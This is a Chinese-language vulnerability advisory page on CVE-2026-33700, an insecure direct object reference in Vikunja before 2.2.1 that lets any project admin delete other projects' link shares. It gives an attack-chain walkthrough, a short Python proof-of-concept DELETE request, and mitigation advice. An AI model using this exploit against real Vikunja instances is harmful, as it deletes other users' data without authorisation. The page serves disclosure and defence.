IPBUF安全漏洞报告
English
CVE-2026-33700 CVSS 4.9 中危

CVE-2026-33700 Vikunja 越权删除链接分享漏洞

披露日期: 2026-03-24

漏洞信息

漏洞编号
CVE-2026-33700
漏洞类型
越权访问
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Vikunja

相关标签

越权访问IDORVikunja权限绕过

漏洞概述

Vikunja是一款开源自托管任务管理平台。在2.2.1版本之前,系统存在越权访问漏洞。由于`DELETE /api/v1/projects/:project/shares/:share`接口未严格校验链接分享与项目的归属关系,拥有任意项目管理员权限的攻击者,可通过构造特定请求,利用自己的项目ID结合目标的分享ID,删除其他项目的链接分享,导致数据完整性受损。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)漏洞。漏洞原理在于Vikunja后端在处理删除分享请求时,仅验证了请求者对URL路径参数中`:project`所指定项目的管理员权限,而未进一步验证参数中的`:share`(链接分享ID)是否真正属于该项目。攻击者只需拥有系统中任意一个项目的管理员权限,即可利用此逻辑缺陷。利用方式是:攻击者构造DELETE请求,将URL中的`:project`参数替换为自己有权限管理的项目ID,将`:share`参数替换为想要删除的受害项目的分享ID。由于服务端信任了`:project`的权限检查,导致请求被合法化执行,从而越权删除了不属于攻击者项目的分享链接。

攻击链分析

STEP 1
1. 权限获取
攻击者注册或入侵账户,获取Vikunja中任意一个项目的管理员权限。
STEP 2
2. 信息收集
攻击者识别目标项目的链接分享ID(通过URL枚举或公开信息获取)。
STEP 3
3. 构造攻击请求
攻击者构造DELETE请求,将路径中的project参数设为自己的项目ID,share参数设为目标分享ID。
STEP 4
4. 执行攻击
服务端校验通过project参数的权限后,执行删除操作,导致目标分享链接被移除。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Configuration base_url = "http://target-vikunja-instance.com" # Attacker's Project ID (Attacker has Admin rights here) attacker_project_id = "123" # Victim's Share ID (The link share to be deleted) victim_share_id = "999" # Vulnerable Endpoint url = f"{base_url}/api/v1/projects/{attacker_project_id}/shares/{victim_share_id}" # Attacker's Auth Token headers = { "Authorization": "Bearer <ATTACKER_JWT_TOKEN>" } # Send Exploit Request response = requests.delete(url, headers=headers) if response.status_code == 200: print("[+] Exploit successful: Share deleted.") else: print(f"[-] Exploit failed: Status {response.status_code}") print(response.text)

影响范围

Vikunja < 2.2.1

防御指南

临时缓解措施
建议立即升级到修复版本。如果无法立即升级,应严格限制管理员账户的分配,并监控API日志中是否存在针对shares接口的异常删除请求,特别是project ID与 share ID 逻辑不匹配的操作。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表